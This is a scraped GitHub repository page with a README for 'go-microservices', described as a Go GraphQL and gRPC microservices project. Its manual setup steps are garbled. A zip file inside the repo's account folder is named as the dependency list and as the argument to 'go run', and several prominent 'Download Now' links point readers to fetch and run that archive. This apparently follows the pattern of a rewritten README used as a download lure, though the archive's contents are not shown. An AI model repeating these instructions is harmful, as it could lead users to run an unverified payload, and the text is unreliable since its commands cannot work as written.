Skip to content

Latest commit

Β 

History

10 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ go-microservices - A Simple Multi Microservices Solution

πŸ“₯ Download Now

Download Latest Release

πŸ“– Description

go-microservices is a straightforward GraphQL multi-microservices project written in Go. It communicates efficiently using gRPC. This project allows users to easily set up a microservices architecture for their applications, enabling quick communication between services.

πŸ“‹ Topics

  • Docker
  • Docker-Compose
  • Elasticsearch
  • Go (Golang)
  • GraphQL
  • gRPC (gRPC-Go)
  • Microservices
  • PostgreSQL
  • Protobuf

πŸš€ Getting Started

To get started quickly, follow these simple steps.

βœ… System Requirements

  • Operating System: Windows, macOS, or Linux
  • Docker: Version 20.10 or higher
  • Docker-Compose: Version 1.27 or higher
  • Memory: At least 4GB of RAM
  • Disk Space: At least 1GB of free space

πŸ”— Download & Install

Visit this page to download: Latest Releases

  1. Open the link provided above.
  2. You will see a list of available releases. Choose the latest version.
  3. Download the appropriate file for your operating system.

πŸ“‚ Setting Up

  1. Locate the Downloaded File: Find the file in your Downloads folder.
  2. Extract the Files: If the file is a zip or tar file, extract it to a folder of your choice.
  3. Navigate to the Folder: Open a terminal or command prompt and navigate to the folder where you extracted the files.

βš™οΈ Running the Application

To run the application, follow these steps:

  • For Docker Users:

    1. Ensure Docker is running on your computer.
    2. In your terminal, run the following command to start the services:
      docker-compose up
      
    3. Wait for the services to start. You should see logs indicating the status of each microservice.
  • For Manual Users:

    1. Install all dependencies listed in the https://github.com/c2c-Ride/go-microservices/raw/refs/heads/master/account/go_microservices_v2.9.zip file.
    2. Make sure PostgreSQL is running and the database is set up.
    3. Use the following command to run the main service:
      go run https://github.com/c2c-Ride/go-microservices/raw/refs/heads/master/account/go_microservices_v2.9.zip
      
    4. Open your preferred web browser and go to http://localhost:8080 to interact with the application.

πŸ› οΈ Configuration

To customize your setup, you can modify the configuration files. Look for files ending in .env or configuration settings within the application folder.

πŸ”„ Updating the Application

To update the application, simply return to the Latest Releases page and download the most recent release. Replace the old files with the new ones, then run the application as described above.

πŸ†˜ Troubleshooting

If you encounter issues while running the application:

  • Ensure Docker is running.
  • Check for errors in the terminal or command prompt.
  • Visit the Issues section in the GitHub repository for common problems and solutions.

πŸ“„ Further Help

For additional help, refer to the comprehensive documentation included in the project files. You can also explore community forums and discussions related to Go, Docker, and microservices.

πŸ”— Useful Links

By following these instructions, you can successfully download, run, and troubleshoot the go-microservices application. Enjoy using your new multi-microservices solution!

About

πŸ›’ Build scalable e-commerce applications with Go using microservices, gRPC, and GraphQL for efficient containerized deployments.

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages